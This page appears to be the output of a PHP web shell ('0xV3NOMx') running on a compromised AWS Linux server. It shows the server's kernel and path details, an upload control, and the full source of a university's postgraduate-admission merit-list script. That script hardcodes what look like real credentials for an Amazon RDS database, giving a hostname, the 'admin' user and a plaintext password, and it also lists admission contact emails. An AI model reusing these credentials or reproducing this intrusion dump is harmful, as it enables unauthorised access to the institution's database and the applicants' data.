0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.2.6


Current Path : /var/www/html/pgadm/
Upload File :
Current File : /var/www/html/pgadm/merit_list_l.php

<?php

$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
$username   = "admin";
$password  = "T0g3th3r@all";

$conn = new  mysqli($servername,$username,$password);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$db = "logisys3_vku";

$query  = "SELECT d.fdegree, d.fdescpn, CONCAT('meritlist/vskub_temp/',d.fdegree,'.pdf') AS link FROM {$db}.entdeg d
WHERE ifnull(d.fdeleted,'') <> 'T'
order by forder,d.fdescpn";

$result = mysqli_query($conn, $query);
$count = mysqli_num_rows($result);

$query1 = "select funivname, date_format(now(), '%d/%m/%Y %r') as fdate from {$db}.control"; 
// var_dump(expression)
$result1 = mysqli_query($conn, $query1);
$row1 = mysqli_fetch_assoc($result1);

// <h3>Candidates who have any issue to be addressed are requested to mail the issue with <br>Application Number to vskubpgadm2020@gmail.com before 1 pm on 07.11.2020</center></h3> 
$table = '<center><h1>'.$row1['funivname'].'</h1><h2>Provisional Merit List for Admission to Post Graduate Programmes for the Academic Year 2021-22</h2>
<div style="text-align: left;font-family: system-ui;">
<p style = "color:red"><u>Important Note</u><p>
<p>1. Candidates need to verify the provisional merit list and inform university in case of any correction in marks. Further corrections will not be allowed after the final merit list is announced.</p>                
<p>2. Candidates are allowed to submit their objections to the provisional merit list by 5th November 2021.</p>
<p>3. Scanned copy of original documents to be sent to vskubpgadm@gmail.com</p>
<p>4. Admission along with verification of original documents is conducted only at Science Block, VIJAYANAGARA SRI KRISHNADEVARAYA UNIVERSITY, BALLARI.</p>
<p>5. All the candidates who get seat for admission need to pay the prescribed fee immediately on the spot on the day of admission counselling. Keep the amount ready to pay admission fee in the bank counter at the university.</p>
<p>6. Please note that the candidates who come without the required original documents and the amount to pay fee are not considered for admission.</p>
</div>
<center>
    <table style="margin-left:2px;text-align: left;width: 60%;font-size:14px;margin: auto;" align-self="middle" cellspacing="1" cellpadding="5" border="0" align="center" bgcolor="#505151">
			<thead> 
			<tr style = "background-color:#8acc51">
			 <th width="8%"><center>Sl. No.</center></th>
             <th width="15%"><center>Degree code</center></th>
             <th><center>Degree Name</center></th>
			 <th width="25%"><center>Merit List</center></th>
			</tr>
		</thead>';	
$i = 0;

if($count > 0)
{
    while($row = mysqli_fetch_assoc($result))
    {
        $table .= "<tr bgcolor='#ffffff' >";
        $table .= "<td><center>".++$i."</center></td>";
        $table .= "<td><center>".$row['fdegree']."</center></td>";
        $table .= "<td>".$row['fdescpn']."</td>";
        $table .= "<td><a href='".$row['link']."' target = 'blank'>Click here for Merit List</a></td>";
        $table .= "</tr>";
    }
}
else
{
    $table .= "<tr bgcolor='#ffffff' >";
    $table .= "<td colspan='4'><center>Merit List Not yet Announced</center></td>";
}

echo $table;


?>